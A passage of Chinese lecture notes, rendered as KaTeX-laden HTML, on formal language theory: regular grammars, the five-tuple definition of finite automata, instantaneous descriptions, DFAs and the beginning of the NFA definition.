style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span></p>
<p>又称正则文法 / 正规文法 Regular grammar, aka RG</p>
<p>定义上讲，空语句 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> 在 1 - 3 型文法中都是不允许的，但因为其不影响语言的有穷描述的存在，所以允许 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> 存在，但其除了用于产生空语句以外不可用于其他任何句子的推导之中。</p>
<h1 id="ii-有穷自动机与正则语言"><a href="#ii-有穷自动机与正则语言">II: 有穷自动机与正则语言</a></h1>
<h2 id="有穷自动机-finite-automation"><a href="#有穷自动机-finite-automation">有穷自动机 Finite Automation</a></h2>
<p>动机：语言的识别：</p>
<ul>
<li>为了证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mo>⊂</mo><mi>L</mi></mrow><annotation encoding="application/x-tex">w \subset L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊂</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>，需推导 G，或规约 w，缺乏目的性和方向性</li>
<li>设计一套系统，提高识别效率，简介抽象、直观描述</li>
</ul>
<h3 id="定义"><a href="#定义">定义</a></h3>
<p>五元组：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi>δ</mi><mo separator="true">,</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">M = (Q, \Sigma, \delta, q_0, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span></p>
<ul>
<li>
<p>Q 非空集合；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">\Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 输入字母表， <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 状态转移函数， <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 开始状态，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi></mrow><annotation encoding="application/x-tex">F</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> 终止 / 接收状态</p>
</li>
<li>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi></mrow><annotation encoding="application/x-tex">\delta(q,a) = p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 表示在 q 状态下读入 a 转移到 p。</p>
</li>
</ul>
<p>FA 的表达方式：函数或转换表（更直观）</p>
<p>字符串集合：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>q</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mi>x</mi><mi mathvariant="normal">∣</mi><mi>x</mi><mo>∈</mo><msup><mi mathvariant="normal">Σ</mi><mo>∗</mo></msup><mo separator="true">,</mo><mi>δ</mi><mo stretchy="false">(</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>q</mi></mrow></mrow><annotation encoding="application/x-tex">set(q) = {x | x \in \Sigma^*, \delta(q_0, x) = q}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">se</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span></span></p>
<h3 id="instant-description-瞬时描述"><a href="#instant-description-瞬时描述">Instant Description 瞬时描述</a></h3>
<p>表示自动机识别一个输入串的过程。形式：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>q</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xqy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>，x 为已处理的字符，y 为未处理的字符</p>
<p>有：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>q</mi><mi>a</mi><mi>y</mi><msub><mo>⊢</mo><mi>M</mi></msub><mi>x</mi><mi>a</mi><mi>p</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xqay \vdash_M xapy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal">a</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>，，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mo>⊢</mo><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">\vdash_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>与文法中的转换 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 有类似的表达方式（+: 至少一次，*: 若干次，n: n 次 等）</p>
<ul>
<li>如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><msubsup><mo>⊢</mo><mi>M</mi><mi>n</mi></msubsup><mi>β</mi></mrow><annotation encoding="application/x-tex">\alpha \vdash_M^n \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9698em;vertical-align:-0.2753em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-2.4247em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2753em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span> 表示 M 经过 n 次移动。从状态 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 转换成了状态 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>β</mi></mrow><annotation encoding="application/x-tex">\beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>。</li>
</ul>
<h3 id="确定有穷状态自动机-deterministic-finite-automaton-dfa"><a href="#确定有穷状态自动机-deterministic-finite-automaton-dfa">确定有穷状态自动机 Deterministic Finite Automaton, DFA</a></h3>
<p>对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi><mo>∈</mo><mi>Q</mi><mo separator="true">,</mo><mi>a</mi><mo>∈</mo><mi>S</mi><mi>i</mi><mi>g</mi><mi>m</mi><mi>a</mi><mo separator="true">,</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mtext>均有确定值</mtext></mrow><annotation encoding="application/x-tex">q \in Q, a \in Sigma, \delta(q,a) 均有确定值</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">ma</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mord cjk_fallback">均有确定值</span></span></span></span></p>
<blockquote>
<p>关于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>δ</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{\delta}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9579em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1944em;"><span class="mord">^</span></span></span></span></span></span></span></span></span></span> 与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span>：前者为后者的扩充，有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>δ</mi><mo>^</mo></mover><mo>:</mo><mi>Q</mi><mo>×</mo><msup><mi mathvariant="normal">Σ</mi><mo>∗</mo></msup><mo>→</mo><mi>Q</mi></mrow><annotation encoding="application/x-tex">\hat{\delta}: Q \times \Sigma^* \rightarrow Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9579em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1944em;"><span class="mord">^</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span>，用于识别语言</p>
<p>注意到后者定义域 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>×</mo><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">Q\times \Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span>  为前者定义域 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>×</mo><msup><mi mathvariant="normal">Σ</mi><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">Q \times \Sigma ^*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span> 的真子集，所以二者如果有相同的值，不用区别符号，故常用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 代替 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>δ</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{\delta}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9579em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9579em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span><span style="top:-3.2634em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1944em;"><span class="mord">^</span></span></span></span></span></span></span></span></span></span>。</p>
</blockquote>
<h3 id="非确定有穷状态自动机-nondeterministic-finite-automaton-nfa"><a href="#非确定有穷状态自动机-nondeterministic-finite-automaton-nfa">非确定有穷状态自动机 Nondeterministic Finite Automaton, NFA</a></h3>
<p>定义类似 DFA 的五元组：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi>δ</mi><mo separator="true">,</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">M = (Q, \Sigma, \delta, q_0, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span></p>
<p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 允许选择多个状态。即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>Q</mi><mo>×</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><msub><mi>p</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>p</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>p</mi><mi>m</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\forall (q,a) \in Q \times \Sigma, \delta(q,a) = \{p_1, p_2, \dots, p_m\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∀</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" 